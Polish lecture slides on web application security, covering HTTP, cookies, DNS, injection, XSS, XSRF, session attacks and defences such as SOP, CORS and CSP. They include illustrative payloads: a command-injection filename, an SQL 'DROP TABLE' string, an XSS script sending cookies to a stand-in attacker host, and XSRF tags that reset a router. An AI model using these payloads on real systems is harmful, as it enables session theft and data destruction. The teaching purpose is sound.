wprowadzenie do kryptografii i...
TRANSCRIPT
12.12.2019
1
Wprowadzenie do kryptografii
i bezpieczeństwa
Po raz siódmy…
Plan na dziś
O bezpieczeństwie aplikacji WWW
Podstawy: front-end, back-end
HTTP i DNS
Ataki server-side client-side
Metody zapobiegania
12.12.2019
2
Architektura aplikacji webowej
Typowa aplikacja
Client-side
Server-side
12.12.2019
3
Trochę o historii…
Co to powoduje?
Zwróćmy uwagę, że coraz więcej logiki przenosi się do
front-endu
Po co?
Lepsza reakcja na to, co robi użytkownik
Strona nie musi przebudowywać się „od zera” po każdym
kliknięciu
Dlaczego?
XMLHttpRequest – możliwość wysyłania zapytań HTTP
z poziomu przeglądarki
Technika tworzenia stron AJAX (Asynchronous JavaScript and
XML)
12.12.2019
4
Dygresja: DOM
DOM – Document Object
Model
Opis budowy stron WWW
Opis interfejsów
programistycznych do
modyfikacji elementów
strony
Elementy strony to węzły
(ang. nodes)
Specyfikacja W3C dla
JavaScript i Java (!)
Podział (LoC)
Źródło: IBM (Ory Segal, Client-side JavaScript Security vulnerabilities)
12.12.2019
5
Ale czy tak się da?
Coraz lepsza obsługa bardziej zaawansowanych
technologii po stronie przeglądarek
Twórca strony nie musi martwić się, czy przeglądarka
poradzi sobie z jakimś zadaniem
Kiedyś: zrób wszystko po stronie serwera, to będzie działać
Teraz: liczy się też czas i przyjazność dla użytkownika
Przy okazji:
The Web Platform (platform.html5.org) – lista popularnych
technologii wspieranych przez przeglądarki
Can I Use (caniuse.com) – informacje o kompatybilności
przeglądarek
Can I use
12.12.2019
6
Dlaczego web jest problematyczny?
Użytkownik może wysłać do aplikacji webowej cokolwiek
Użytkownik może:
zmieniać zapytania
zmieniać nagłówki
zmieniać lokalne dane (cookies, local storage)
zmieniać kolejność zapytań
A kto powiedział, że użytkownik w ogóle musi korzystać
z przeglądarki lub dedykowanego klienta?
wget
curl
klient telnet (!)
Dlaczego web jest problematyczny?
12.12.2019
7
Dlaczego web jest problematyczny?
Szybki rozwój technologii
Co chwilę pojawiają się nowe stosy (CGI LAMP MEAN)
Nowe funkcje – wprowadzane bez analizy bezpieczeństwa
Mała świadomość webdeveloperów
Próg wejścia w webdevelopment jest niski
Sam tak zaczynałem
Ciągle nowe pomysły na ataki
Stare aplikacje, które trzeba wspierać (zaszłości
historyczne na poziomie projektu aplikacji i stosu
technologicznego)
Dlaczego web jest problematyczny?
Nawet jeśli biblioteki są aktualizowane, to często nie są
wymieniane na stronach
Źródło: Thou Shalt Not Depend on Me: Analysing the Use of Outdated JavaScript
Libraries on the Web, 2018, DOI: 10.14722/ndss.2017.23414
12.12.2019
8
Dlaczego web jest problematyczny?
Warto monitorować aktualny stan bezpieczeństwa
bibliotek
Przykład systemu: snyk.io
https://snyk.io/vuln/npm:jquery
Podstawowe protokoły
12.12.2019
9
Przesyłanie zróżnicowanych rodzajów danych zasobów
(ang. resource)
strony HTML
pliki graficzne, dane multimedialne
aplikacje
inne
Zasoby identyfikowane przez
URL – Uniform Resource Locator
URI – Uniform Resource Identifier
http://www.ki.agh.edu.pl/page/index.html
HTTP (HyperText Transfer Protocol)
HTTP
Protokół klient-serwer
serwer: Apache, nginx, Windows IIS…
klient:
najczęściej przeglądarka WWW (graficzna lub tekstowa)
specjalizowane aplikacje wykorzystujące HTTP do transferu danych
REST API
Protokół bezstanowy i bezpołączeniowy
działa w oparciu o model żądanie/odpowiedź
po dostarczeniu danych połączenie może być zamykane lub
utrzymywane (keep-alive)
12.12.2019
10
Komunikat HTTP
Nie ma ścisłego podziału na pola
(przetwarzany jak dane tekstowe)
Komendy oddzielone są końcem linii
Postać:
typ operacji, jedna linia
zero lub więcej linii z parametrami postaci:
nazwa: wartość
pusta linia
opcjonalne dane
zasób
treść formularza
Żądania i odpowiedzi HTTP
Żądania HTTP
GET
POST
HEAD
inne – PUT, DELETE
Odpowiedzi
kod odpowiedzi + tekst
12.12.2019
11
Żądania HTTP – GET
Używane najczęściej
Ciąg znaków identyfikujący zasób na serwerze
najprościej: statyczny zasób serwera
GET /dydaktyka/wyniki.html HTTP/1.1
parametry do skryptu lub bazy danych
GET /dane/script.cgi?field1=value1
&field2=value2 HTTP/1.1
Stosowane do pobierania małych ilości informacji
Żądania HTTP – POST
Żądanie nie jest zawarte w URL,
lecz w samym ciele informacji POST /dane/script.cgi HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
login=adam&password=trudne123
Często używane przy pobieraniu informacji dla
stron generowanych dynamicznie lub do wysyłania
formularzy
12.12.2019
12
Odpowiedzi HTTP
1xx – informacja
2xx – powodzenie, żądanie zrozumiane i zaakceptowane
np. 200 OK
3xx – musi zostać podjęta dalsza akcja
np. 301 Moved Permanently
4xx – błąd po stronie klienta
najczęściej: 404 Not Found, 403 Forbidden
5xx – błąd po stronie serwera
np. 500 Internal Server Error, 502 Bad Gateway
Odpowiedzi HTTP w pigułce
1xx – hold on
2xx – here you go
3xx – go away
4xx – you fucked up
5xx – I fucked up
@DanaDanger, twitter.com
12.12.2019
13
Nagłówki/parametry HTTP
Przykład żądania:
Accept-Encodin: ggzip, deflate
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Connection: keep-alive
Cookie: filter=basic_summary; checkboxfilter=false
Host: cwe.mitre.org
Referer: http://cwe.mitre.org/data/definitions/601.html
Upgrade-Insecure-Requests:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; …)
Gecko/20100101 Firefox/69.0
Nagłówki/parametry HTTP
Przykład odpowiedzi:
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Type: text/html
Date: Sun, 03 Nov 2019 18:02:59 GMT
Keep-Alive: timeout=5, max=100
Server: Apache
Strict-Transport-Security: max-age=15768000; includeSubDomains
Transfer-Encoding: chunked
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
12.12.2019
14
HTTP Cookies
Cookie – plik cookie, ciasteczko, itd.
Mechanizm przechowywania prostych informacji tekstowych po stronie przeglądarki
Wymyślone w Netscape, ustandaryzowane w 1997 r. (RFC 2109, aktualnie RFC 6265 z 2011 r.)
Ustawiane w nagłówku HTTP Set-Cookie przez serwer
Klient wysyła potem w żądaniach HTTP Cookie
Przykład:
SSID=AEftJftxaxdAWWe77;Domain=.google.com;Path=/;
Expires=Sat, 27-Jun-2019 17:19:06 GMT;Secure;HttpOnly
Do czego służą cookies?
Kontrolowanie odwiedzin użytkownika (liczniki,
informacja o powracającym użytkowniku na podstawie
losowego identyfikatora)
Kontrolowanie prezentacji strony (np. ukrywanie
elementów, które użytkownik chce ukryć)
Śledzenie sesji (cookie z session-id) – brak
konieczności logowania przy każdym przejściu do nowej
strony
12.12.2019
15
HTTP Cookies – atrybuty
nazwa=wartość – atrybut wymagany, faktyczne ciasteczko
expires=data – kiedy cookie traci ważność (po tym czasie przeglądarka przestaje go wysyłać do serwera i usuwa z pamięci), domyślnie ważne do końca sesji
domain=domena – domena (lub poddomeny), dla których cookie jest ważne, np. .example.com oznacza example.com oraz mail.example.com itd.
path=ścieżka – prefix zasobu, dla którego cookie ma być odsyłane, domyślnie / (np. /test działa dla adresów /test/index.php, /testowa/strona itd.)
HTTP Cookies – atrybuty
secure – cookie wysyłane tylko w połączeniach HTTPS
HttpOnly – dostęp do cookie w przeglądarce tylko przez HTTP (nie np. JavaScript)
Pozwala na utrudnianie ataków XSS, ale o tym później…
12.12.2019
16
Przydatność i bezpieczeństwo
Nie wolno opierać bezpieczeństwa/użyteczności
mechanizmów, którymi użytkownik mógłby manipulować,
w oparciu o cookies
Przykład: kontrola pojedynczych głosów w ankietach
Dużo użytkowników ma wyłączone cookies w ogóle
Cookies (bez HttpOnly oraz Secure) można próbować
wykraść i wykorzystywać do podszywania się pod
użytkownika
Znowu ataki XSS
Przydatność i bezpieczeństwo
Istnieją lepsze/nowsze mechanizmy:
Web Storage – standard W3C (sessionStorage i localStorage
dla JavaScript)
Web SQL – baza danych SQLite po stronie klienta, obecnie
porzucony standard W3C
Indexed DB – zaawansowane bazy, następca Web SQL
Local shared object – rozwiązanie Apple (czasem zwane Flash
cookies)
Oczywiście, przynoszą nowe problemy
Client-side SQL Injection
12.12.2019
17
Protokół HTTPS
Wykorzystywał SSL (Secure Socket Layer)
otwarty standard opracowany przez Netscape
Teraz TLS 1.2 i 1.3 (Transport Layer Security)
rozwiązanie oparte na kluczu publicznym
klucz: zazwyczaj 2048 lub 4096 bitów
szyfrowanie danych na czas transmisji kluczem sesji
Domyślnie używa portu 443 TCP
Zastosowania
pierwotnie banki, szpitale itd.
obecnie: wszystkie formularze logowania
DNS
Domain Name System
Odwzorowuje nazwę DNS na adres sieciowy
Przykład nazwy: www.agh.edu.pl
elementy oddzielone kropkami
hierarchiczność nazw
domena pierwszego poziomu: .com
domena drugiego poziomu: .cisco.com
Łatwiej zapamiętać napis, niż ciąg cyfr
(adres IP). Zwłaszcza w IPv6…
12.12.2019
18
Hierarchiczna budowa nazw
mil int gov edu com arpa mil org uk pl eu
edu
agh
www
noao
tuc
sun
in-addr
149
156
97
10
Korzeń (bez nazwy)
Domeny podstawowe Domeny geograficzne
www.agh.edu.pl
Domeny
pierwszego
poziomu
Domeny
drugiego
poziomu
Nazwy w DNS
Budowa hierarchiczna, zapisywana od najmniej do
najbardziej znaczącego, np.
www.ki.agh.edu.pl
Ostatni poziom: TLD – Top Level Domain
FQDN – Fully Qualified Domain Name
Nazwa kończy się kropką, chociaż w praktyce
rozpoznawana jest domena TLD.
Wielkość liter w nazwie domeny nie ma znaczenia.
12.12.2019
19
O prywatności
HTTPS
HTTPS & SSL doesn't mean "trust this."
It means "this is private." You may be
having a private conversation with Satan.
Scott Hanselman
Strony dostarczane po HTTPS mogą być zainfekowane!
Wystawca certyfikatu uwierzytelnia podmiot (mniej lub
bardziej dokładnie), ale tylko
w momencie wystawiania certyfikatu
Strona z HTTPS może później zostać skompromitowana…
12.12.2019
20
iFrame
iFrame – technika osadzania jednej strony wewnątrz
drugiej
Dużo starszych rozbudowanych stron tak funkcjonowało
Obecnie zaleca się inne metody
Można w ten sposób podstawić zainfekowaną treść pod
zaufanym adresem
Przeglądarka powinna to zauważyć…
Przekierowania
HTTP 302 (Found) – przekierowanie URL
Może prowadzić z potencjalnie bezpiecznego adresu na
niezaufaną stronę
Częsty problem w skracarkach linków
Te „lepsze” wyświetlają najpierw komunikat, do jakiego adresu
prowadzi skrót
Domain shadowing – złośliwe subdomeny w potencjalnie
zaufanej (ale przejętej) domenie
12.12.2019
21
HTTP Referer i window.opener
Przy kliknięciu odnośnika „nowy” serwer dostaje od
przeglądarki nagłówek HTTP Referer
Adres strony, z której przyszło kliknięcie
Zastosowanie:
Śledzenie, skąd przyszedł użytkownik – na potrzeby
promowania strony
Blokowanie hot-linkowania
Dostosowywanie strony do użytkownika
Potencjalny problem z prywatnością – wysyłanie nagłówka
można wyłączyć w przeglądarce
HTTP Referer i window.opener
Ale to nie wszystko…
target=_blank w odnośniku powoduje otworzenie strony
w nowym oknie/karcie
Stara strona pozostaje otwarta
Nowa strona posiada dostęp do DOM starej strony
Brzmi nieprawdopodobnie?
Krótkie demo…
12.12.2019
22
prev.html
Nasza strona do wejścia
Banalna w budowie…
<html>
<body>
<a href="next.html" target="_blank">AAAA</a>
</body>
</html>
next.html Docelowa strona
<!DOCTYPE html>
<html>
<body>
<p>Click the button to change previous site.</p>
<button onclick="myFunction()">Try it</button>
<script>
function myFunction() {
window.opener.location = 'http://google.com';
}
</script>
</body>
</html>
12.12.2019
23
HTTP Referer i window.opener
Co z tym zrobić?
Atrybuty rel="noopener noreferrer"
Przykład linku:
<a href="http://attacker-site.example.com/useful-
page.html" target="_blank" rel="noopener noreferrer">
noreferrer – wyłącza wysyłanie HTTP Referer, atrybut
standardowy
noopener – pozbawia dostępu do window.opener
z otwartej strony, rozwiązanie nieobecne w standardzie,
ale większość (wszystkie?) przeglądarki wspierają
Mixed Content
Sytuacja, gdy część zasobów strony dostarczana jest po
HTTPS, a część po HTTP
Dwie odmiany
Pasywny – po HTTP tylko treści nie wpływające na inne zasoby
(<img>, <video>, <audio>, <object>)
Aktywny – po HTTP elementy wpływające na inne zasoby (te
po HTTPS)
Polityka przeglądarek
Pasywny – dopuszczaj, ale ostrzegaj
Aktywny – blokuj
Są na to rozwiązania (CSP, HSTS)
12.12.2019
24
Ataki
Ataki (oczywiście tylko wybrane)
Server-side:
Command injection
SQL injection
Path traversal
Insecure direct object reference
Client-side:
XSS (Cross-site scripting)
XSRF (Cross-site request forgery)
Session hijacking / session fixation
HTTP response splitting/smuggling
HTTP injection
Open redirects
12.12.2019
25
Command injection
Command injection – wysłanie przez atakującego
polecenia, które wykona się po stronie serwera
Zazwyczaj w powłoce (bash)
Zazwyczaj wynika to ze złej obsługi wejścia użytkownika
Przekazywanie do funkcji systemowych
Ścieżki dostępu do plików
Wyobraźmy sobie kod strony…
<?php print("Please specify the name
of the file to delete…");
print("<p>");
$file=$_GET['filename'];
system("rm $file"); ?>
Dajmy użytkownikowi wpisać…
bob.txt;id
Co się wywołuje?
http://example.com/delete.php?
filename=bob.txt;id
Command injection
12.12.2019
26
Informacja zwrotna:
Please specify the name of the file to delete…
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Command injection
Trochę o bazach…
Podstawowym problemem są zapytania wysyłane do baz
danych
Aplikacja musi mieć dostęp do wszystkich danych, na których
operuje…
…ale zazwyczaj większość użytkowników aplikacji nie powinna
SQL injection – „wstrzykiwanie” zapytań
z poziomu aplikacji
12.12.2019
27
SQL – Structured Query Language
Podstawowy język zapytań do baz danych
Elementy:
DML (ang. Data Manipulation Language)
INSERT, UPDATE, DELETE
DDL (ang. Data Definition Language)
CREATE, DROP, ALTER
DCL (ang. Data Control Language)
GRANT, REVOKE, DENY
DQL (ang. Data Query Language)
SELECT
SQL
Przykłady:
SELECT EMPLOYEE_ID, NAME FROM EMPLOYEE_TABLE
WHERE EMPLOYEE_ID = '0000';
CREATE TABLE Customers (
ID varchar(80),
Name varchar(80),
Phone varchar(20),
....
);
SQL
12.12.2019
28
Przykłady:
DROP TABLE EMPLOYEE_TABLE;
CREATE TABLE Customers (
ID varchar(80),
Name varchar(80),
Phone varchar(20),
-- SOME COMMENTS…
);
DELETE FROM Customers
WHERE ID = 'Anna Nowak';
SQL
Wyobraźmy sobie aplikację…
Użytkownik wprowadza przez formularz wartość
$input_data = 1234;
$query = "SELECT * FROM users where id=$input_data";
Wykona się zapytanie:
SELECT * FROM users where id=1234
A co jeśli $input_data nie będzie równe czemuś
spodziewanemu?
SQL a aplikacje
12.12.2019
29
Wprowadzona wartość:
$input_data = "1; DROP TABLE users;"
$query = "SELECT * FROM users where id=$input_data";
Co powoduje uruchomienie zapytania…
SELECT * FROM users where id=1;
DROP TABLE users;
;
SQL a aplikacje
https://xkcd.com/327/
„Exploits of a Mom”
12.12.2019
30
Jak się chronić:
Uwierzytelnianie użytkowników przed zrobieniem
czegokolwiek
Dokładne parsowanie danych
przekazywanych przez użytkownika
SQL injection – ochrona
Cross-Site Scripting – wywołanie skryptu przez
przeglądarkę użytkownika
Wyobraźmy sobie, że na stronie zamieszczony zostaje
kawałek kodu:
<script>
window.location=
'http://attacker/?cookie=‘
+document.cookie
</script>
Dlaczego cookie?
Udaje użytkownika w trakcie sesji
XSS
12.12.2019
31
Persistent XSS
Typy XSS:
Persistent XSS – utrzymuje się po odświeżeniu strony,
zazwyczaj złośliwy kod zapisany przez atakującego w bazie
strony
Reflected XSS – tylko do odświeżenia strony
DOM-based XSS
DOM – Document Object Model
XSS
12.12.2019
32
https://excess-xss.com/
Reflected XSS
DOM-based XSS
12.12.2019
33
DOM-based XSS
Wynika z rosnącego zaawansowania przeglądarek
Skrypt nie wykonuje się podczas przetwarzania
odpowiedzi od serwera ze stroną
…tylko później podstawia elementy do prawidłowej zawartości
strony
Trudne do wykrycia po stronie serwera
Istnieją XSS, które nie wymagają wysłania skryptu do serwera
(zostaje lokalnie u klienta)
Jak sobie poradzić?
Walidacja wejścia (przede wszystkim) formularzy
XSRF
Cross-Site Request Forgery – próba zmuszenia
przeglądarki użytkownika do wykonania żądania (do
wskazanego adresu), którego użytkownik nie jest
świadomy
Zazwyczaj realizowane przez dostarczenie użytkownikowi
spreparowanej strony, na której znajduje się automatycznie
pobierany odnośnik (np. <img src=…)
Nie należy mylić XSRF i XSS
XSS często prowadzi do XSRF, ale nie jest wymagany
Jeśli strona jest podatna na XSS, to prawie na pewno da się
przeprowadzić atak XSRF
12.12.2019
34
XSRF
Wyobraźmy sobie blog, w którym ktoś dodał komentarz
<img src="http://192.168.1.1/goform/system/factory" />
Użytkownik wchodzi na stronę, chce załadować obrazek...
…a w tym czasie jego przeglądarka „wchodzi” na stronę
resetowania ustawień lokalnego routera
Rzeczywisty atak: CVE-2014-0621
(model: Technicolor TC7200 STD6.01.12)
XSRF
12.12.2019
35
XSRF
Kto jest winien?
Producent sprzętu – bo strona jest podatna na XSRF
Blog – bo nie filtruje danych wstawianych do komentarzy
A przeglądarka?
Nie. Atak opiera się o typową architekturę web
Ciężko wyobrazić sobie potwierdzanie przez użytkownika
pobierania każdego zasobu
XSRF
To dosyć popularny atak:
2006 – NetFlix (zamawianie filmów, zmiana hasła)
2007 – Gmail (formularz resetowania hasła)
2008 – ING Direct (możliwość robienia przelewów)
2008 – New York Times (narzędzie Email This)
2008 – YouTube (praktycznie wszystko )
2012 – Facebook (narzędzie Appcenter do tworzenia własnych
aplikacji, znalazca dostał 5000 $ z bug bounty)
2015 – Vimeo
12.12.2019
36
XSRF
Jest więcej tagów, które przyjmują adresy:
<script src="http://host/?command">
<iframe src="http://host/?command">
<script>
var foo = new Image();
foo.src = "http://host/?command";
</script>
XSRF
Jest więcej tagów, które przyjmują adresy (2):
<script> var post_data = 'name=value'; var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("POST", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4) { alert(xmlhttp.responseText); } }; xmlhttp.send(post_data); </script>
Źródło: https://www.cgisecurity.com/csrf-faq.html
12.12.2019
37
XSRF
Kilka dodatkowych aspektów:
Przeglądarka wykonująca żądanie znajduje się w innej sieci (ma
dostęp do sieci lokalnej, ma whitelistowany adres IP do panelu
administracyjnego itd.)
Może być już uwierzytelniona (cookie) przed stroną, do której
docelowo następuje XSRF
W żądaniu POST/GET można podać dane uwierzytelniania:
<img src="http://LOGIN:PASSWORD@ADRES_SERWERA" />
XSRF – przeciwdziałanie
Ochrona przy pomocy tokenów
Synchronized Token Pattern – generowana na początku sesji
użytkownika wartość pseudolosowa, którą przeglądarka musi
się posługiwać w kontaktach z serwerem
Miejsce tokenu:
CSRFToken – ukryte pole formularzy (wysyłane POST)
Odpowiednie cookie
Żądania AJAX-owe
Nie należy podawać tokenu w zapytaniach GET: widoczny
w logach serwera i przeglądsarki, URL-ach, może trafić na
inną stronę w HTTP Referer
12.12.2019
38
XSRF – przeciwdziałanie
Tokeny generowane raz na sesję – rozwiązanie wygodne,
zapewniające dosyć duże bezpieczeństwo…
…ale token może zostać wykradziony tak samo jak cookie
Session ID.
Tokeny generowane dla każdego żądania
Większe bezpieczeństwo (praktycznie nie do przechwycenia)
Obsługa niektórych operacji może być problematyczna –
powrót do poprzedniej strony przez użytkownika
Tokeny wstawiane w formularz przy pomocy JS uważa się
za bezpieczniejsze od podanych statycznie
Trudniej je znaleźć (np. obfuskacja kodu JS)
XSRF – przeciwdziałanie
A co jeśli atakowana strona wymaga uwierzytelniania?
Jeśli użytkownik ma sesję i przedstawia się cookie
z identyfikatorem sesji, to przeglądarka i tak je wyśle!
Cookie SameSite
Jeszcze niezdefiniowane standardem (draft-ietf-httpbis-
rfc6265bis-02 z kwietnia 2017)
Określa, kiedy przeglądarka wyśle dane (sesyjne) cookie
Strict – tylko przy odniesieniach z tej samej domeny (link z
zewnętrznej strony nie spowoduje wysłania cookie)
Lax – cookie wysyłane tylko w zapytaniach niezmieniających
stanu (np. proste GET)
None – obsługa jak bez SameSite
12.12.2019
39
XSRF – przeciwdziałanie
Interakcja z użytkownikiem
Ponowne zalogowanie w przypadku otrzymania przez serwer
„dziwnego” formularza
CAPTCHA
One-Time Token (np. SMS)
Session hijacking
Przypomnijmy sobie, w jaki sposób przeglądarka
rozpoznaje użytkownika
Zazwyczaj cookie Session-ID
Jeśli przechwycimy to cookie, to możemy udawać
użytkownika
Przykład: Firesheep (2010) i podsłuchiwanie ruchu HTTP
(głównie Facebook i Twitter)
12.12.2019
40
Session hijacking
Źródło: OWASP
Session hijacking – przeciwdziałanie
Ruch po HTTPS
Dużo trudniej przechwycić cookie
Sprawdzanie Session-ID oraz innego parametru:
Adresu IP – ale co z sieciami współdzielonymi?
Kluczy sesji SSL/TLS (rozwiązanie zaproponowane na NordSec
2013)
Długie losowe Session-ID
Dalej nie chroni przed podsłuchaniem, ale przynajmniej trudniej
zgadnąć
Osobne Session-ID dla każdego żądania
Wymuszenie wylogowania użytkownika
12.12.2019
41
Session fixation
Session fixation – atak analogiczny do session hijacking, ale
z wymuszeniem identyfikatora sesji
Jak to zrobić? Klient wysyła już znane mu Session ID w cookie,
serwery zazwyczaj akceptują takie zachowanie i wykorzystują
podany identyfikator
Jak?
Wyznaczyć Session ID (atakujący łączy się z webserwerem)
Przekazać Session ID ofierze
Wymusić na ofierze uwierzytelnienie się (np. XSRF)
Połączyć się ze znanym wcześniej Session ID
Session fixation
Źródło: OWASP
12.12.2019
42
Session fixation
Ale jak klient wysyła Session ID do serwera?
Parametr w URL (tego w ogóle lepiej nie stosować)
Ukryte pole formularza
Cookie
Zazwyczaj cookie
Jak atakujący ma ustawić cookie?
XSS
<meta http-equiv="set-cookie" content="…">
Wstawienie nagłówka HTTP (przez spoofing, MitM itd.)
Session fixation – przeciwdziałanie
Session ID tylko w cookie, tylko po HTTPS
Nie w GET/POST
Zmiana Session ID po zalogowaniu użytkownika
Powiązanie sesji z innym parametrem (analogicznie jak
w sesion hijacking)
12.12.2019
43
HTTP response splitting
Atakujący może wykorzystać złą walidację danych
przychodzących w nagłówkach żądania od klienta do
serwera
Przykład:
Set-Cookie: banner=hidden
Jeśli w jakiś sposób (znowu: XSS, XSRF, MitM itd.) uda się
podmienić cookie (albo to, z czego powstaje) tak, żeby
wyglądało jak…
HTTP response splitting – przykład
banner=hidden\r\n
Content-Length: 999\r\n\r\n
<html>zupełnie nowa strona ciągnąca się przez 999
bajtów…</html>
12.12.2019
44
HTTP response splitting – przykład
…to od serwera przyjdzie odpowiedź:
HTTP/1.1 200 OK
…
Set-Cookie: banner=hidden
Content-Length: 999
<html>zupełnie nowa strona ciągnąca się przez 999
bajtów…</html>
<html>prawidłowa odpowiedź od serwera, której
przeglądarka nawet nie zinterpretuje, bo jest po 999
bajtach…</html>
HTTP response splitting
W odpowiedzi można zawrzeć dowolną stronę
Czym to grozi?
XSS
Podstawienie (daface) strony
Cache poisoning (na proxy/cache może zostać zapamiętana
fałszywa odpowiedź)
Jak sobie z tym radzić?
Nie wykorzystywać w cookies parametrów podawanych jako
tekst przez przeglądarkę/użytkownika
A jeśli już: dokładna walidacja
12.12.2019
45
HTTP injection
Jeśli nagłówki HTTP generowane są dynamicznie na
podstawie wejścia od użytkownika, to spreparowana
zawartość może doprowadzić do fałszowania/dodawania
nowych nagłówków
Cała klasa ataków:
HTTP injection
HTTP request smuggling
Problem podobny do HTTP response splitting
Przeciwdziałanie: analogiczne
Więcej info: http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
Open redirect
Często przekierowania realizowane są w sposób:
https://example.com/najpierwtu?newurl=
https://example.com/potemtam
Jeśli oba adresy należą do tego samego podmiotu, to nie
ma problemu
Problem:
https://example.com/najpierwtu?newurl=
https://jakas-zla-strona.com/potemtam
Open redirect – sytuacja, w której example.com nie
sprawdza, czy docelowy adres jest poprawny
12.12.2019
46
Open redirect
Po co?
Ataki phishingowe
Obchodzenie filtrowania domen przez firewalle L7
Jak sobie z tym poradzić?
Filtrowanie wchodzących parametrów w URL
Mechanizmy ochrony
12.12.2019
47
Trochę mechanizmów polityk/ochrony
SOP – Same-Origin Policy
CORS – Cross-Origin Resource Sharing
X-Frame-Options
X-XSS-Protection
CSP – Content Security Policy
HSTS – HTTP Strict Transport Security
HPKP – HTTP Public Key Pinning
SOP
SOP – Same-Origin Policy
Koncepcja (to nie jest jedno rozwiązanie!) pozwalająca na
zdefiniowanie polityki dostępu pomiędzy różnymi obszarami
(origin)
Jeden obszar (origin) – wspólne trzy elementy:
Scheme (protokół), np. https:
Host (serwer), np. ki.agh.edu.pl
Port, tutaj domyślnie 443
12.12.2019
48
SOP
Ten sam origin:
https://ki.agh.edu.pl/admin/
https://admin:[email protected]/admin
https://ki.agh.edu.pl:443/
Różne origin (z powyższym i każde parami):
http://ki.agh.edu.pl
https://ki.agh.edu.pl:8080/
ftp://ki.agh.edu.pl/pub/misc/
SOP
SOP zazwyczaj odnosi się do JavaScript i dostępu
skryptów do DOM (modelu strony)
Istnieją też rozwiązania oparte o taką politykę dla:
XMLHttpRequest
Cookies
Adobe Flash
aplety Java
Microsoft Silverlight
12.12.2019
49
SOP – cookies
Można ustawić cookie dla domeny lub swojej naddomeny
Publiczny sufiks – domena, w której da się zarejestrować
swoją domenę bezpośrednio
Przykład: krakow.pl, ale już mojafirma.pl nie jest
Utrzymywana lista: publicsuffix.org
Przeglądarki nie pozwalają utworzyć cookie
dla publicznego sufiksu
Firefox i Chrome – na podstawie publicsuffix.org
IE – ma swoją listę
SOP – cookies
Czy takie rozwiązanie chroni przed wyniesieniem
sesyjnego cookie?
Dalej możliwe XSRF
Clickjacking – sprawienie, że użytkownik kliknie
w element, którego w danym miejscu się nie spodziewa
Likejacking – użytkownik nie spodziewa się, że dokonuje
interakcji z pluginem Facebooka
Password Manager Jacking – podstawienie strony wypełnianej
przez manager haseł i sprawienie, że użytkownik wykona
nieświadomie logowanie
Użytkownik dalej może wysłać cookie do danej strony
(to samo origin), tylko nie wie, że to robi
12.12.2019
50
SOP
SOP chroni przed dostępem przez skrypty
Utrudnia XSS
…ale nie chroni przez XSRF
Wymagałoby to zakazania odnośników do stron spoza origin
Czyli podstawowej funkcjonalności WWW
SOP
Kilka popularnych elementów na stronach:
<iframe> – osadzanie (embed) dozwolone, czytanie (read)
niedozwolone
<css> – osadzanie (embed przy pomocy <link> lub @file)
dozwolone
<form> – pisanie (write – wysyłanie wypełnionych formularzy
przy pomocy atrybutu action) dozwolone
<img> – osadzanie możliwe, ale czytanie (przy pomocy
JavaScript i np. canvas) niedozwolone
<video>, <audio> – osadzanie dozwolone
<script> – osadzanie dozwolone, ale część API blokowana
(np. Fetch)
12.12.2019
51
CORS
CORS – Cross-Origin Resource Sharing
Mechanizm rozluźniania polityki SOP
Pozwala na odnoszenie się do zasobów z innych origin
Kiedy zapytania HTTP generowane są ze strony?
XMLHttpRequest (a dokładniej XMLHttpRequest2, bo
CORS działa dopiero od wersji 2)
Fetch API
CORS
Jak SOP przekłada się na model żądanie-odpowiedź?
Write – wysłanie żądania
Read – dostęp do wyników (odpowiedzi serwera)
Zgodnie z SOP – zapytania cross-origin mogą zostać
wykonane (write), ale aplikacja dokonująca żądania nie ma
dostępu do zwróconych wyników (read).
Jak to działa?
Serwer docelowy (ten, do którego aplikacja wykonuje żądanie)
określa, czy aplikacja jest z originu, któremu ten serwer ufa
12.12.2019
52
CORS
Źródło: keycdn.com/support/cors
X-Frame-Options
Skoro już było o <iframe>…
X-Frame-Options – nagłówek HTTP, wskazujący, w jaki
sposób przeglądarka ma postępować z osadzanymi
elementami:
<frame> (podział na strony), <iframe> (osadzenie jednej
strony na drugiej), <object>, <embed>
Możliwe wartości:
DENY
SAMEORIGIN
ALLOW FROM https://example.com
12.12.2019
53
X-XSS-Protection
Nagłówek HTTP informujący przeglądarkę o możliwości
dokonania analizy strony pod kątem XSS
Przeglądarka dokonuje analizy danych wejściowych, wyszukując
wzorców charakterystycznych dla ataków XSS
Konfiguracja:
X-XSS-Protection: 0 – brak audytu danych wejściowych
X-XSS-Protection:1 – audyt włączony, w przypadku znalezienia
problemu, dane są „czyszczone” ze szkodliwej zawartości
X-XSS-Protection: 1; mode=block – audyt włączony,
w przypadku stwierdzenia XSS cała strona nie jest ładowana
X-XSS-Protection: 1; report=http://example.com/report-
page – audyt włączony, naruszenie zgłaszane pod dany adres (więcej
przy okazji CSP), tylko Chrome i Safari
X-XSS-Protection
Nagłówek dodany w Internet Explorer 8 (2011 r.)
Wspierany także przez Google Chrome i Safari
Mozilla Firefox: nagłówek niewspierany i nie będzie obsługiwany
w przyszłych wersjach przeglądarki
Dlaczego tak?
Rozwiązanie zastąpione przez CSP
System nie jest do końca bezpieczny
Wiele błędów znalezionych w audytorach XSS w Internet
Explorer i Chrome
Google twierdzi, że audytor tylko zmniejsza
prawdopodobieństwo XSS, a nie uniemożliwia ataku
12.12.2019
54
CSP
CSP – Content Security Policy
Wskazanie dozwolonych źródeł zasobów na stronie (obrazków,
skryptów, arkuszy CSS, obiektów multimedialnych, Active X itd.)
Co robić w razie naruszeń
Kilka wersji:
CSP Level 1 – 2012 rok
CSP Level 2 – 2014 rok (i do tego będę się odnosił)
CSP Level 3 – draft, ostatnia dostępna wersja z listopada 2018
Jak przekazać informację:
HTTP Content-Security-Policy – nagłówek HTTP
CSP – jak to działa?
No dobra, ale co to są te dyrektywy?
Dyrektywa – polityka mówiąca, jaki rodzaj zasobów może być
pobierany z jakiego źródła
Składnia:
RODZAJ: ŹRÓDŁO1 ŹRÓDŁO2 ŹRÓDŁO3;
Przykład:
Content-Security-Policy: script-src 'self'; img-src 'self';
style-src 'self' cdn.com;
12.12.2019
55
